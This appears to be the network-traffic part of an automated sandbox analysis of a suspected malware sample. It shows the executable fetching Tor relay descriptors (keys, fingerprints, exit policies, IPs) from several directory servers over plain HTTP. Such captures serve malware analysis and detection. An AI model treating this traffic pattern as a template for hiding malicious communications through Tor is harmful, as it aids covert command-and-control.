Oct 24, 2022 11:09:45.347225904 CEST	7652	IN	Data Raw: 45 52 54 2d 2d 2d 2d 2d 0a 66 61 6d 69 6c 79 20 24 30 34 35 42 42 43 41 39 36 30 32 41 32 32 43 31 31 32 39 38 34 46 32 35 30 30 33 43 44 34 38 39 37 43 46 46 42 39 45 35 20 24 30 42 30 36 44 44 36 41 36 35 43 34 38 45 41 37 39 46 43 34 33 30 33 Data Ascii: ERT-----family $045BBCA9602A22C112984F25003CD4897CFFB9E5 $0B06DD6A65C48EA79FC43031CBD93650B08A0661 $0F6CBFB9E5CDFC5A6D427320E90B1DF91095DD67 $1D24292113610F0096FCC554664EC33BE27A4F54 $1D7EBE2ADBEF0353AA77C579CD013B5CF82E740D $1F953ACBFB9F44CE
Oct 24, 2022 11:09:45.347244024 CEST	7653	IN	Data Raw: 42 30 41 46 30 44 32 46 34 35 33 34 45 42 44 35 41 44 39 44 34 35 38 45 31 39 36 36 43 41 38 20 24 38 39 32 31 42 30 33 41 34 32 45 45 37 38 43 39 44 43 43 44 33 30 37 34 41 36 30 39 42 44 39 31 43 43 39 32 33 45 44 45 20 24 38 39 39 44 31 44 31 Data Ascii: B0AF0D2F4534EBD5AD9D458E1966CA8 $8921B03A42EE78C9DCCD3074A609BD91CC923EDE $899D1D12BBF6ED445048CB302C0F14B6D15ADCA2 $8B8E30B0A49EBEEF963D2A5AAC28F3BD3068ADEC $8D89ECA4C93928711A0BD6DB80F547A09AEF2D67 $8E6E7CDACE2418254A853D6951EC97841E5B07F7 $
Oct 24, 2022 11:09:45.347261906 CEST	7654	IN	Data Raw: 67 0a 72 65 6a 65 63 74 20 30 2e 30 2e 30 2e 30 2f 38 3a 2a 0a 72 65 6a 65 63 74 20 31 36 39 2e 32 35 34 2e 30 2e 30 2f 31 36 3a 2a 0a 72 65 6a 65 63 74 20 31 32 37 2e 30 2e 30 2e 30 2f 38 3a 2a 0a 72 65 6a 65 63 74 20 31 39 32 2e 31 36 38 2e 30 Data Ascii: greject 0.0.0.0/8:reject 169.254.0.0/16:reject 127.0.0.0/8:reject 192.168.0.0/16:reject 10.0.0.0/8:reject 172.16.0.0/12:reject 185.243.218.27:reject 85.217.222.195:reject 162.219.226.83:reject 162.219.224.163:reject 162.21

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49715	217.155.40.118	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:46.140271902 CEST	7659	OUT	GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0 Host: 217.155.40.118 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:46.203295946 CEST	7660	IN	HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Mon, 24 Oct 2022 09:09:46 GMT Content-Type: text/plain Connection: close Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:46 GMT Data Raw: 72 6f 75 74 65 72 20 74 6f 72 66 6c 6f 77 65 72 20 31 33 38 2e 32 2e 31 37 36 2e 32 32 35 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 4b 53 41 61 70 4e 73 67 78 71 73 68 75 65 44 35 30 67 53 65 53 75 63 41 51 54 74 52 4c 75 6b 53 35 73 72 75 75 5a 55 48 61 50 54 6b 5a 32 41 51 41 67 42 41 41 77 6c 49 57 62 0a 47 63 63 6a 6e 72 4f 63 37 4e 41 77 31 6b 6c 34 2f 4c 62 45 71 6f 70 48 58 70 6e 62 50 6d 4b 33 70 6c 30 69 64 4f 2f 66 58 4f 39 55 6f 4c 5a 77 4f 39 6f 59 36 6a 50 4f 65 66 44 63 54 39 6c 36 0a 48 58 39 68 53 79 6d 4d 41 46 58 51 6f 39 65 38 6a 38 32 52 6f 38 31 38 77 55 37 74 76 33 41 4f 55 6b 55 71 41 32 4d 4b 7a 51 39 56 63 44 31 51 53 58 75 2b 47 61 72 6d 39 41 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4d 4a 53 46 6d 78 6e 48 49 35 36 7a 6e 4f 7a 51 4d 4e 5a 4a 65 50 79 32 78 4b 71 4b 52 31 36 5a 32 7a 35 69 74 36 5a 64 49 6e 51 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 32 31 3a 31 32 3a 30 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 42 33 31 44 20 38 39 38 32 20 33 46 43 41 20 41 43 33 31 20 44 33 45 32 20 31 32 37 43 20 45 35 45 43 20 41 32 36 32 20 38 41 36 43 20 31 41 45 31 0a 75 70 74 69 6d 65 20 33 32 34 30 36 38 0a 62 61 6e 64 77 69 64 74 68 20 32 36 32 31 34 34 30 20 35 32 34 32 38 38 30 20 32 37 36 33 37 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 38 46 41 34 32 30 34 35 38 46 42 42 35 41 46 30 42 34 41 30 41 31 37 36 43 45 30 30 31 31 44 41 33 35 32 44 39 43 43 20 6c 58 4b 4d 4b 55 69 75 56 66 39 4a 71 52 69 53 79 74 49 62 55 4f 6a 34 2f 39 69 73 4f 48 32 6c 77 7a 7a 54 66 44 33 2b 79 76 41 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4c 71 68 67 6b 63 36 5a 42 63 72 65 66 6e 78 50 5a 45 59 55 6a 64 57 48 2f 42 73 63 62 64 49 44 52 72 77 46 71 76 66 70 72 46 4e 72 6a 6c 7a 6e 43 70 46 35 46 43 0a 48 7a 43 63 52 6f 49 6c 56 4a 64 73 4f 72 7a 4e 56 6b 55 36 6f 72 47 57 73 4e 6b 55 76 46 32 77 56 39 33 52 4a 45 76 52 54 68 41 44 2b 74 4d 34 43 44 63 4e 62 6e 4c 75 36 35 73 78 37 65 55 50 0a 52 43 32 79 70 69 43 4f 64 52 6f 39 35 6e 69 4f 6f 4a 4b 7a 71 55 48 57 77 4e 2f 6b 65 6d 53 61 42 46 64 4a 5a 2f 57 37 4d 79 4b 66 79 4d 62 67 44 57 56 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 47 66 4f 62 2f 48 58 Data Ascii: router torflower 138.2.176.225 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxKSAapNsgxqshueD50gSeSucAQTtRLukS5sruuZUHaPTkZ2AQAgBAAwlIWbGccjnrOc7NAw1kl4/LbEqopHXpnbPmK3pl0idO/fXO9UoLZwO9oY6jPOefDcT9l6HX9hSymMAFXQo9e8j82Ro818wU7tv3AOUkUqA2MKzQ9VcD1QSXu+Garm9AA=-----END ED25519 CERT-----master-key-ed25519 MJSFmxnHI56znOzQMNZJePy2xKqKR16Z2z5it6ZdInQplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 21:12:04fingerprint B31D 8982 3FCA AC31 D3E2 127C E5EC A262 8A6C 1AE1uptime 324068bandwidth 2621440 5242880 2763776extra-info-digest D8FA420458FBB5AF0B4A0A176CE0011DA352D9CC lXKMKUiuVf9JqRiSytIbUOj4/9isOH2lwzzTfD3+yvAonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALLqhgkc6ZBcrefnxPZEYUjdWH/BscbdIDRrwFqvfprFNrjlznCpF5FCHzCcRoIlVJdsOrzNVkU6orGWsNkUvF2wV93RJEvRThAD+tM4CDcNbnLu65sx7eUPRC2ypiCOdRo95niOoJKzqUHWwN/kemSaBFdJZ/W7MyKfyMbgDWVPAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMGfOb/HX
Oct 24, 2022 11:09:46.204164982 CEST	7661	IN	Data Raw: 79 58 4a 2b 35 6f 43 32 6f 58 5a 33 64 4f 55 47 6e 78 39 34 51 48 75 42 34 53 63 64 50 79 76 65 43 35 68 75 46 46 65 58 39 6d 79 45 47 67 55 0a 42 42 78 75 6c 4b 5a 34 68 72 48 2b 4d 67 62 78 64 34 51 31 34 47 6d 48 65 6c 42 68 49 51 48 63 48 73 Data Ascii: yXJ+5oC2oXZ3dOUGnx94QHuB4ScdPyveC5huFFeX9myEGgUBBxulKZ4hrH+Mgbxd4Q14GmHelBhIQHcHsq3gIHnAqrrxHGRyBeHOvXa0L1vZTfB3yT3k80MfW12EMlJ/UOHyko7tY2yD5p3EkSC2LDcnP3f9KPvvhApAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49716	199.249.230.160	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:48.937733889 CEST	7670	OUT	GET /tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064 HTTP/1.0 Host: 199.249.230.160 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:49.099383116 CEST	7672	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:48 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:48 GMT Data Raw: 72 6f 75 74 65 72 20 65 70 68 65 6d 65 72 34 20 31 32 38 2e 32 33 32 2e 31 38 2e 35 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 46 34 41 53 53 48 54 6c 67 6d 57 57 41 74 75 47 57 34 55 4f 79 50 64 7a 5a 6e 59 32 6c 6a 5a 36 70 55 74 66 31 30 39 64 49 58 48 32 6d 78 41 51 41 67 42 41 43 6a 42 67 65 37 0a 30 34 31 31 31 32 4f 62 70 55 77 65 36 48 46 59 44 61 4c 6c 76 36 6b 38 65 50 37 71 63 35 55 4c 4e 57 69 77 6c 64 4b 46 55 4d 65 6d 55 33 30 66 4d 6c 37 69 69 52 4f 43 31 56 65 55 32 36 72 6a 0a 74 48 7a 6a 51 31 71 4e 6b 57 34 50 71 6e 57 71 59 51 37 71 56 31 59 4e 2b 6f 7a 4f 76 6b 38 44 74 75 69 4d 6e 55 77 32 79 64 57 4f 67 4e 7a 37 55 31 69 33 6e 2b 38 49 7a 67 77 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6f 77 59 48 75 39 4f 4e 64 64 64 6a 6d 36 56 4d 48 75 68 78 57 41 32 69 35 62 2b 70 50 48 6a 2b 36 6e 4f 56 43 7a 56 6f 73 4a 55 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 30 30 31 3a 36 33 30 3a 32 31 32 3a 32 61 38 3a 61 36 62 66 3a 31 66 66 3a 66 65 32 35 3a 62 39 36 31 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 36 3a 34 33 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 42 33 34 30 20 45 33 42 41 20 35 38 37 45 20 33 36 34 36 20 32 44 38 44 20 45 34 34 44 20 41 45 30 46 20 37 43 41 42 20 36 37 34 38 20 46 30 36 34 0a 75 70 74 69 6d 65 20 35 37 34 32 31 35 36 0a 62 61 6e 64 77 69 64 74 68 20 32 35 36 30 30 30 30 20 31 32 38 30 30 30 30 30 20 33 32 32 35 37 30 33 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 37 39 44 36 39 31 41 37 30 44 45 46 30 39 37 41 44 35 30 33 38 30 30 33 35 45 43 35 32 35 37 32 35 39 33 31 44 35 41 39 20 45 54 79 35 46 75 37 72 50 54 4d 34 37 4c 48 73 56 30 63 37 59 48 4c 46 36 54 5a 68 79 5a 55 49 33 64 54 2f 51 70 6e 62 62 57 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 31 39 6a 4d 39 36 6d 74 46 42 32 6b 68 5a 65 66 71 75 49 68 31 33 7a 6a 46 66 62 38 72 4a 33 77 77 38 36 6d 6d 59 75 34 58 59 4c 53 67 39 39 4d 6f 47 70 6f 4c 54 0a 4e 46 65 30 6a 70 56 63 61 48 44 2f 69 32 76 32 56 36 64 75 45 6c 54 58 63 6d 36 68 46 52 4f 66 6b 72 57 50 4d 46 4a 61 73 5a 63 31 68 66 6f 52 70 6a 56 2b 36 4d 70 4b 78 63 77 2f 39 71 32 6f 0a 2b 6f 43 71 6a 72 6f 65 69 6b 56 42 49 31 6b 72 65 55 72 5a 64 32 46 42 76 31 58 4b 6a 6d 56 32 31 56 4a 7a 74 50 57 2b 4b 4a 66 34 39 4c 52 52 49 30 42 5a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b Data Ascii: router ephemer4 128.232.18.58 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxF4ASSHTlgmWWAtuGW4UOyPdzZnY2ljZ6pUtf109dIXH2mxAQAgBACjBge7041112ObpUwe6HFYDaLlv6k8eP7qc5ULNWiwldKFUMemU30fMl7iiROC1VeU26rjtHzjQ1qNkW4PqnWqYQ7qV1YN+ozOvk8DtuiMnUw2ydWOgNz7U1i3n+8Izgw=-----END ED25519 CERT-----master-key-ed25519 owYHu9ONdddjm6VMHuhxWA2i5b+pPHj+6nOVCzVosJUor-address [2001:630:212:2a8:a6bf:1ff:fe25:b961]:9001platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 16:43:58fingerprint B340 E3BA 587E 3646 2D8D E44D AE0F 7CAB 6748 F064uptime 5742156bandwidth 2560000 12800000 3225703extra-info-digest 79D691A70DEF097AD50380035EC525725931D5A9 ETy5Fu7rPTM47LHsV0c7YHLF6TZhyZUI3dT/QpnbbWYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM19jM96mtFB2khZefquIh13zjFfb8rJ3ww86mmYu4XYLSg99MoGpoLTNFe0jpVcaHD/i2v2V6duElTXcm6hFROfkrWPMFJasZc1hfoRpjV+6MpKxcw/9q2o+oCqjroeikVBI1kreUrZd2FBv1XKjmV21VJztPW+KJf49LRRI0BZAgMBAAE=-----END RSA PUBLIC KEY-----signing-k
Oct 24, 2022 11:09:49.099405050 CEST	7672	IN	Data Raw: 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 66 43 2b 7a 6d 75 6d 50 57 6b 77 44 73 50 6f 37 75 74 30 51 6a 37 4b 37 79 4a 76 78 4d 72 67 57 43 4b 61 78 55 41 Data Ascii: ey-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMfC+zmumPWkwDsPo7ut0Qj7K7yJvxMrgWCKaxUABq5IPAafVqY2Gi2Ls+mb4ciMFom7HUrzoE78aXhpkWfA8CH8ROJrEVhChIPxk8AtvJXkNoZSBvzP7YzsBZMTFud29F8T06ZK1sAnpG2jV+Cz9eWINypuTt9NJvHGIloLp4UJAgMBAAE=-----END RSA PUBLI
Oct 24, 2022 11:09:49.099421024 CEST	7673	IN	Data Raw: 20 43 45 52 54 2d 2d 2d 2d 2d 0a 66 61 6d 69 6c 79 20 24 34 36 32 43 34 43 39 37 31 37 30 44 45 39 34 46 32 35 31 41 34 36 46 34 43 37 34 31 30 33 32 38 36 34 41 44 31 42 46 42 20 24 42 33 34 30 45 33 42 41 35 38 37 45 33 36 34 36 32 44 38 44 45 Data Ascii: CERT-----family $462C4C97170DE94F251A46F4C741032864AD1BFB $B340E3BA587E36462D8DE44DAE0F7CAB6748F064hidden-service-dircontact Steven Murdoch <tor+Steven.Murdoch AT cl.cam.ac.uk>ntor-onion-key Vmm3g6shp0GC+TS7MkzFnv0Id0ZgYAmjSnH8oI1ED3srej
Oct 24, 2022 11:09:49.234525919 CEST	7674	IN	Data Raw: 20 43 45 52 54 2d 2d 2d 2d 2d 0a 66 61 6d 69 6c 79 20 24 34 36 32 43 34 43 39 37 31 37 30 44 45 39 34 46 32 35 31 41 34 36 46 34 43 37 34 31 30 33 32 38 36 34 41 44 31 42 46 42 20 24 42 33 34 30 45 33 42 41 35 38 37 45 33 36 34 36 32 44 38 44 45 Data Ascii: CERT-----family $462C4C97170DE94F251A46F4C741032864AD1BFB $B340E3BA587E36462D8DE44DAE0F7CAB6748F064hidden-service-dircontact Steven Murdoch <tor+Steven.Murdoch AT cl.cam.ac.uk>ntor-onion-key Vmm3g6shp0GC+TS7MkzFnv0Id0ZgYAmjSnH8oI1ED3srej

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49717	199.249.230.186	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:49.517745018 CEST	7677	OUT	GET /tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064 HTTP/1.0 Host: 199.249.230.186 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:50.337126017 CEST	7682	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:50 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:50 GMT Data Raw: 72 6f 75 74 65 72 20 65 70 68 65 6d 65 72 34 20 31 32 38 2e 32 33 32 2e 31 38 2e 35 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 46 34 41 53 53 48 54 6c 67 6d 57 57 41 74 75 47 57 34 55 4f 79 50 64 7a 5a 6e 59 32 6c 6a 5a 36 70 55 74 66 31 30 39 64 49 58 48 32 6d 78 41 51 41 67 42 41 43 6a 42 67 65 37 0a 30 34 31 31 31 32 4f 62 70 55 77 65 36 48 46 59 44 61 4c 6c 76 36 6b 38 65 50 37 71 63 35 55 4c 4e 57 69 77 6c 64 4b 46 55 4d 65 6d 55 33 30 66 4d 6c 37 69 69 52 4f 43 31 56 65 55 32 36 72 6a 0a 74 48 7a 6a 51 31 71 4e 6b 57 34 50 71 6e 57 71 59 51 37 71 56 31 59 4e 2b 6f 7a 4f 76 6b 38 44 74 75 69 4d 6e 55 77 32 79 64 57 4f 67 4e 7a 37 55 31 69 33 6e 2b 38 49 7a 67 77 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6f 77 59 48 75 39 4f 4e 64 64 64 6a 6d 36 56 4d 48 75 68 78 57 41 32 69 35 62 2b 70 50 48 6a 2b 36 6e 4f 56 43 7a 56 6f 73 4a 55 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 30 30 31 3a 36 33 30 3a 32 31 32 3a 32 61 38 3a 61 36 62 66 3a 31 66 66 3a 66 65 32 35 3a 62 39 36 31 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 36 3a 34 33 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 42 33 34 30 20 45 33 42 41 20 35 38 37 45 20 33 36 34 36 20 32 44 38 44 20 45 34 34 44 20 41 45 30 46 20 37 43 41 42 20 36 37 34 38 20 46 30 36 34 0a 75 70 74 69 6d 65 20 35 37 34 32 31 35 36 0a 62 61 6e 64 77 69 64 74 68 20 32 35 36 30 30 30 30 20 31 32 38 30 30 30 30 30 20 33 32 32 35 37 30 33 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 37 39 44 36 39 31 41 37 30 44 45 46 30 39 37 41 44 35 30 33 38 30 30 33 35 45 43 35 32 35 37 32 35 39 33 31 44 35 41 39 20 45 54 79 35 46 75 37 72 50 54 4d 34 37 4c 48 73 56 30 63 37 59 48 4c 46 36 54 5a 68 79 5a 55 49 33 64 54 2f 51 70 6e 62 62 57 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 31 39 6a 4d 39 36 6d 74 46 42 32 6b 68 5a 65 66 71 75 49 68 31 33 7a 6a 46 66 62 38 72 4a 33 77 77 38 36 6d 6d 59 75 34 58 59 4c 53 67 39 39 4d 6f 47 70 6f 4c 54 0a 4e 46 65 30 6a 70 56 63 61 48 44 2f 69 32 76 32 56 36 64 75 45 6c 54 58 63 6d 36 68 46 52 4f 66 6b 72 57 50 4d 46 4a 61 73 5a 63 31 68 66 6f 52 70 6a 56 2b 36 4d 70 4b 78 63 77 2f 39 71 32 6f 0a 2b 6f 43 71 6a 72 6f 65 69 6b 56 42 49 31 6b 72 65 55 72 5a 64 32 46 42 76 31 58 4b 6a 6d 56 32 31 56 4a 7a 74 50 57 2b 4b 4a 66 34 39 4c 52 52 49 30 42 5a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b Data Ascii: router ephemer4 128.232.18.58 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxF4ASSHTlgmWWAtuGW4UOyPdzZnY2ljZ6pUtf109dIXH2mxAQAgBACjBge7041112ObpUwe6HFYDaLlv6k8eP7qc5ULNWiwldKFUMemU30fMl7iiROC1VeU26rjtHzjQ1qNkW4PqnWqYQ7qV1YN+ozOvk8DtuiMnUw2ydWOgNz7U1i3n+8Izgw=-----END ED25519 CERT-----master-key-ed25519 owYHu9ONdddjm6VMHuhxWA2i5b+pPHj+6nOVCzVosJUor-address [2001:630:212:2a8:a6bf:1ff:fe25:b961]:9001platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 16:43:58fingerprint B340 E3BA 587E 3646 2D8D E44D AE0F 7CAB 6748 F064uptime 5742156bandwidth 2560000 12800000 3225703extra-info-digest 79D691A70DEF097AD50380035EC525725931D5A9 ETy5Fu7rPTM47LHsV0c7YHLF6TZhyZUI3dT/QpnbbWYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM19jM96mtFB2khZefquIh13zjFfb8rJ3ww86mmYu4XYLSg99MoGpoLTNFe0jpVcaHD/i2v2V6duElTXcm6hFROfkrWPMFJasZc1hfoRpjV+6MpKxcw/9q2o+oCqjroeikVBI1kreUrZd2FBv1XKjmV21VJztPW+KJf49LRRI0BZAgMBAAE=-----END RSA PUBLIC KEY-----signing-k
Oct 24, 2022 11:09:50.337167025 CEST	7683	IN	Data Raw: 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 66 43 2b 7a 6d 75 6d 50 57 6b 77 44 73 50 6f 37 75 74 30 51 6a 37 4b 37 79 4a 76 78 4d 72 67 57 43 4b 61 78 55 41 Data Ascii: ey-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMfC+zmumPWkwDsPo7ut0Qj7K7yJvxMrgWCKaxUABq5IPAafVqY2Gi2Ls+mb4ciMFom7HUrzoE78aXhpkWfA8CH8ROJrEVhChIPxk8AtvJXkNoZSBvzP7YzsBZMTFud29F8T06ZK1sAnpG2jV+Cz9eWINypuTt9NJvHGIloLp4UJAgMBAAE=-----END RSA PUBLI
Oct 24, 2022 11:09:50.337189913 CEST	7684	IN	Data Raw: 20 43 45 52 54 2d 2d 2d 2d 2d 0a 66 61 6d 69 6c 79 20 24 34 36 32 43 34 43 39 37 31 37 30 44 45 39 34 46 32 35 31 41 34 36 46 34 43 37 34 31 30 33 32 38 36 34 41 44 31 42 46 42 20 24 42 33 34 30 45 33 42 41 35 38 37 45 33 36 34 36 32 44 38 44 45 Data Ascii: CERT-----family $462C4C97170DE94F251A46F4C741032864AD1BFB $B340E3BA587E36462D8DE44DAE0F7CAB6748F064hidden-service-dircontact Steven Murdoch <tor+Steven.Murdoch AT cl.cam.ac.uk>ntor-onion-key Vmm3g6shp0GC+TS7MkzFnv0Id0ZgYAmjSnH8oI1ED3srej

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49718	74.208.203.175	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
